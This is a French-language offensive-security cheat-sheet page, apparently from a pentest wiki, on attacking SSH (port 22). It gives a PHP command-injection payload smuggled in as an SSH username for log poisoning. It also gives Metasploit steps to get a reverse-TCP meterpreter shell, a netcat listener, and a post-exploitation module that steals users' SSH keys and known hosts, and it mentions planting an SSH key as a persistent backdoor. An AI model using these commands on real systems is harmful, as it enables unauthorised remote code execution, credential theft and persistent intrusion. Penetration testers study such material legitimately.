Bebzounette
Rechercher…
Services
Social Engineering
Sténographie
Failles Système
Failles Réseaux
Failles Applicative
Failles Physique
Forensic
Information gathering
Client Lourd /Thick Client
Active Directory
Github Repos
SSH - 22
1. Payload Basiques SSH
On peut injecter du code php dans la connexion SSH. Très utile si on a accès aux logs ssh depuis une interface web par exemple. On peut ensuite aller voir les logs et donc exécuter le code que nous avons soumis.
1
ssh ‘<?php system($_GET[‘c’]); ?>’@<ip> #permet d’exécuter une commande
Copied!
On peut ensuite gentiment demander à metasploit de nous créer un meterpreter en reverse tcp :
1
msfconsole
2
use exploit/multi/script/web_delivery
3
set target 1
4
set payload php/meterpreter/reverse_tcp
5
set lhost <IP>
6
exploit
Copied!
On peut aussi écrire manuellement le reverse shell.
A. Accéder aux logs pour exécuter votre shell php
1
(var/auth/logs)
Copied!
B. Vous pouvez ensuite exécuter directement votre commande
1
(var/auth/logs&c=<votre commande>
Copied!
C. Setup un Listener
1
nc -lnvp <PORT>
Copied!
2. Exploit SSH en volant la PGP KEY
Si vous avez déjà exploité la cible et que vous avez un meterpreter dessus, vous pouvez utiliser la post exploitation de msf pour voler les clés autorisées.
Ce module collectera le contenu des répertoires .ssh de tous les utilisateurs sur la machine ciblée. De plus, les hôtes connus, les clés autorisées et tout autre fichier sont également téléchargés :
1
msfconsole
2
use post/multi/gather/ssh_creds
3
msf post(ssh_creds) >set session 1
4
msf post(ssh_creds) >exploit
Copied!
3. Création d’une Backdoor
Ce module ajoutera une clé SSH à un utilisateur spécifié (ou à tous), pour permettre la connexion à distance via SSH à tout moment.
4. SSH tunneling
Dernière mise à jour 7mo ago